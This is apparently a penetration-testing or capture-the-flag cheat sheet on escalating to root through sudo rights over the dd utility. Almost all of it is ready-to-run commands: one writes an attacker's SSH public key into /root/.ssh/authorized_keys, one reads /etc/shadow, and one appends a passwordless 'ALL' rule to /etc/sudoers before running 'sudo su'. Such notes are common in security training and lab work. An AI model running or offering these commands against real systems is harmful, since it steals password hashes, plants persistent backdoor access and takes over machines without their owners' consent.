/usr/bin/dd

1)From kali create ssh key

ssh-keygen cd /home/kali/.ssh cat id_rsa.pub

2)From target ssh session

echo "ssh-rsa AAAAB3NzaC1yc2EAAA.......pEQrmij2++fP44wU= kali@kali" | sudo -u root dd of=/root/.ssh/authorized_keys

3)ssh into user root

ssh root@10.10.10.10

#Alternatives

Read /etc/shadow for root using dd privileges

sudo dd if=/etc/shadow

Write a new line into sudoers (target will be name of the box or user)

echo “target ALL=(ALL) NOPASSWD: ALL” | sudo dd of=/etc/sudoers

Then:

sudo su

#root